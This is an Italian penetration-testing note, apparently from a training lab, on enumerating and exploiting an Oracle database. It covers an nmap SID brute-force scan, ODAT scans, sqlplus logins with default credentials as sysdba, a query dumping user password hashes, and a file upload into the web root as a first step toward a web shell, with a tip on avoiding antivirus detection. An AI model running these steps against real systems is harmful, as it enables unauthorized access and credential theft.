tags: Enumerazione_Oracle


Nmap

sudo nmap -p1521 -sV 10.129.204.235 --open --script oracle-sid-brute
 
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-06 11:01 EST
Nmap scan report for 10.129.204.235
Host is up (0.0044s latency).
 
PORT     STATE SERVICE    VERSION
1521/tcp open  oracle-tns Oracle TNS listener 11.2.0.2.0 (unauthorized)
| oracle-sid-brute: 
|_  XE
 
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 55.40 seconds

ODAT

python3 odat.py all -s 10.129.9.53

Enumerazione

Una volta trovata la password e l’utente ci possiamo autenticare con il seguente comando:

 
sqlplus scott/[email protected]/XE
 
#Oppure provare ad aggiungere questa flag per vedere se l'utente ha permessi di amministratore:
 
sqlplus scott/[email protected]/XE as sysdba
 

Se ti restituisce sqlplus: error while loading shared libraries: libsqlplus.so: cannot open shared object file: No such file or directory usa questo comando:

sudo sh -c "echo /usr/lib/oracle/12.2/client64/lib > /etc/ld.so.conf.d/oracle-instantclient.conf";sudo ldconfig

Una volta dentro possiamo utilizzare questo comando per enumerare tutte le tabelle:

select table_name from all_tables;

Se siamo amministratori possiamo pure vedere gli hash degli utenti:

select name, password from sys.user$;

Trovi un elenco più approfondito su questa pagina.

Un’altra opzione è caricare una web shell sul server di destinazione. Tuttavia, questo richiede che il server esegua un web server e dobbiamo conoscere l’esatta posizione della directory radice del web server. Tuttavia, se sappiamo con quale tipo di sistema abbiamo a che fare, possiamo provare i percorsi predefiniti, che sono:

OSPath
Linux/var/www/html
WindowsC:\inetpub\wwwroot
Per prima cosa, proviamo il nostro approccio di sfruttamento con file che non sembrano pericolosi per l’antivirus o il rilevamento delle intrusioni:
 
echo "Oracle File Upload Test" > testing.txt
 
./odat.py utlfile -s 10.129.204.235 -d XE -U scott -P tiger --sysdba --putFile C:\\inetpub\\wwwroot testing.txt ./testing.txt
 
[1] (10.129.204.235:1521): Put the ./testing.txt local file in the C:\inetpub\wwwroot folder like testing.txt on the 10.129.204.235 server                                                                                                  
[+] The ./testing.txt file was created on the C:\inetpub\wwwroot directory on the 10.129.204.235 server like the testing.txt file
 

Infine, possiamo verificare se l’approccio di caricamento file ha funzionato con curl. Pertanto, utilizzeremo un “GET http://indirizzoIP/nomefile” oppure possiamo andarci via browser:

 
curl -X GET http://10.129.204.235/testing.txt
 
Oracle File Upload Test